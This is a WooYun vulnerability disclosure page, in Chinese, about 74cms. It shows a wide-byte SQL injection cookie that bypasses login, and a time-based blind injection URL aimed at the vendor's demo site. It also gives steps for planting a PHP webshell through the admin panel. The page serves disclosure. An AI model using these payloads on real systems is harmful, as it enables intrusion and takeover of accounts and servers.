当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08414

漏洞标题:骑士cms注入,后台拿shell

相关厂商:74c,s.com

漏洞作者: yy520

提交时间:2012-06-18 11:47

修复时间:2012-06-23 11:48

公开时间:2012-06-23 11:48

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-18: 细节已通知厂商并且等待厂商处理中
2012-06-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

0x1 任意用户登录
0x2 盲注
0x3 后台拿shell
0x4 随机函数问题

详细说明:

0x1 任意用户登录
user/login.php

elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) &&  $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
{
if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
{
update_user_info($_COOKIE['QS']['uid'],false,false);
header("Location:".get_member_url($_SESSION['utype']));
}
else
{
unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
header("Location:".url_rewrite('QS_login'));
}
}


include/fun_user.php

//检测COOKIE
function check_cookie($name,$pwd){
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
if($row['num'] > 0)
{
return true;
}else{
return false;
}
}


构造cookie如下
QS[uid] 2
QS[utype] 1
QS[password] 111111111111111111111
QS[username] %bf%27 or 1=1 %23
uid 为假冒用户的ID utype为用户类型 password任意
0x2 盲注
http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面
0x3 后台拿shell
1.先关闭csrf防御功能
2.在hr工具箱中添加一个伪造的doc,内容为<?php phpinfo();?>,记下路径data/hrtools/2012/06/1339941553308.doc
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc
4.然后执行
0x4 随机函数问题(几乎可以无视,纯属个人YY)
在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
这个$QS_pwdhash是由randstr生成

function randstr($length=6)
{
$hash='';
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
$max=strlen($chars)-1;
mt_srand((double)microtime()*1000000);
for($i=0;$i<$length;$i++) {
$hash.=$chars[mt_rand(0,$max)];
}
return $hash;
}


生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)

漏洞证明:


修复方案:

do it yourself~

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-06-23 11:48

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无